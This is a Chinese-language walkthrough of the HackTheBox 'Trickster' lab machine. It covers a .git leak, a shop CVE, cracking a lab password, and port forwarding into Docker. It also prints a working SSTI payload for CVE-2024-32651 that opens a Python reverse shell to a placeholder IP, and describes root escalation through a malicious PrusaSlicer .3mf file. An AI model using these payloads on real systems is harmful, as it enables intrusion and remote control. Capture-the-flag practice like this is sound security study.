信息搜集
HTB靶机经典思路,爆破子域名,目录扫描,敏感文件扫描,以及查看所有跳转页面。
发现shop.trickster.htb
,且该页面存在.git
泄露(这个感觉见的确实不多:
使用GitHack-master
拉取下来,得到后台路径:
获取凭证
访问之,发现服务版本号:
存在CVE:
可获得www-data
权限,接下来就是搜寻用户凭证环节,在parameters.php
里可以找到数据库密码,数据库里的ps_employee
表里则存在着james
用户的密码哈希,hashcat
选3200(3200 | bcrypt $2*$, Blowfish (Unix)
),获得密码alwaysandforever
。
登录后得到user.txt
,用户flag。
提权
本机有运行docker
,扫描发现5000
端口开启,ssh穿透出来:
ssh -v -N -L 5000:172.17.0.2:5000 [email protected]
发现服务,使用james用户密码可以登录,同时存在漏洞CVE-2024-32651,python SSTI,侦测到目标页面发生变化时触发,此处写入shell:
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}
等待写好的时间即可获得shell。
在/datastore
目录下有Backup
文件夹,里面是历史的备份文件,因为docker有python服务,所以起一个http服务将文件下载到本地:
# 启动服务器
python -m http.server --bind 0.0.0.0 5001
# 穿透
ssh -v -N -L 5001:172.17.0.2:5001 [email protected]
历史文件里存在.txt.br
文件,.br
属于brotli
压缩,python可以导入库并解压:
import os
import brotli
files = os.listdir("./tar")
for file in files:
with open("./tar/"+file, "rb") as f_in:
decompressed_data = brotli.decompress(f_in.read())
with open(file[:-3], "wb") as f_out:
f_out.write(decompressed_data)
在其中一个文件内找到了adam用户凭证:
登录adam用户后,sudo -l
发现其可以sudo
运行/opt/PrusaSlicer
下的PrusaSlicer
程序,查询得知该程序具有命令执行的漏洞。
根据漏洞说明构造恶意.3mf
文件(文件是网上找的):
上传到/tmp
目录并sudo
执行即可。
后注
这个靶机在十月份左右更新了一次,原来看大伙好像是进入docker后history
命令拿到root密码,更新后不可以了,需要切换用户然后免密码sudo
。